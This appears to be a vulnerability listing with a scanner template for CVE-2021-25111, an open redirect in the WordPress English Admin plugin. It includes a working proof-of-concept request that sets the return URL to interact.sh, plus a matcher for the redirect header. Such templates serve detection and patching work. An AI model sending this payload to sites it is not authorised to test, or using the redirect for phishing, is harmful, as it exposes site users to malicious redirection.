WordPress English Admin plugin before 1.5.2 contains an open redirect vulnerability. The plugin does not validate the admin_custom_language_return_url before redirecting users to it. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2021-25111
info:
name: WordPress English Admin <1.5.2 - Open Redirect
author: akincibor
severity: medium
description: WordPress English Admin plugin before 1.5.2 contains an open redirect vulnerability. The plugin does not validate the admin_custom_language_return_url before redirecting users to it. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of other malicious activities.
remediation: |
Update to the latest version of the WordPress English Admin plugin (1.5.2 or higher) to fix the open redirect vulnerability.
reference:
- https://wpscan.com/vulnerability/af548fab-96c2-4129-b609-e24aad0b1fc4
- https://nvd.nist.gov/vuln/detail/CVE-2021-25111
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25111
cwe-id: CWE-601
epss-score: 0.01767
epss-percentile: 0.82133
cpe: cpe:2.3:a:english_wordpress_admin_project:english_wordpress_admin:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: english_wordpress_admin_project
product: english_wordpress_admin
framework: wordpress
tags: cve2021,cve,unauth,wpscan,wp-plugin,redirect,wordpress,wp,english_wordpress_admin_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a00463044022011cfd9933b743e52bbcca53a3ff45e63df12eb59c9ab5ed0e8110665cedf45db02200ee77ee7c9896d637e41750cb0fff6241534fb816627fb50f7bae030de33465f:922c64590222798bb761d5b6d8e72950